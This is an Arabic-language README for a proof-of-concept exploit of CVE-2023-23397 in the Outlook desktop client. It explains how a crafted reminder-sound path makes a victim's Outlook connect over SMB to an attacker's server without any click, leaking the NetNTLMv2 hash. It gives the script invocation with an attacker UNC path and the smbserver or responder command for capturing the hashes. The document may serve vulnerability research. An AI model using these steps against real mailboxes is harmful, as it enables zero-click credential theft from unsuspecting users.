CVE-2023-23397

PoC بسيط وسريع لثغرة CVE-2023-23397 التي تؤثر على عميل Outlook السميك.

الوصف

يعاني Outlook من نقص في التحكم في إدخال المستخدم الذي يسمح بتكوين صوت تذكير الاجتماع والموعد. في الواقع، يتمكن المهاجم من إجبار الضحية على الاتصال بخادمه دون أي تلاعب من المستخدم (ثغرة بدون نقرة).

المهاجم الذي يستغل هذه الثغرة يسترجع ملخص NetNTLMv2 بناءً على كلمة مرور المستخدم المخدوع عبر طلب SMB. يتم تشغيل الطلب فور وصول البريد إلى صندوق الوارد.

ماذا يفعل الـ PoC؟

1. توليد حمولة .msg.
2. إرسالها عبر البريد الإلكتروني باستخدام خادم SMTP مخصص.

الاستخدام

في جلسة واحدة :

python CVE-2023-23397.py

usage: CVE-2023-23397.py [-h] -p PATH
CVE-2023-23397.py: error: the following arguments are required: -p/--path

python CVE-2023-23397.py --path '\\yourip\'

في جلسة ثانية (smbserver أو responder كما تريد).

smbserver.py -smb2support SHARE .

عرض توضيحي (PoC يدوي)

فيديو توضيحي (بالفرنسية)

المقال الأصلي

https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/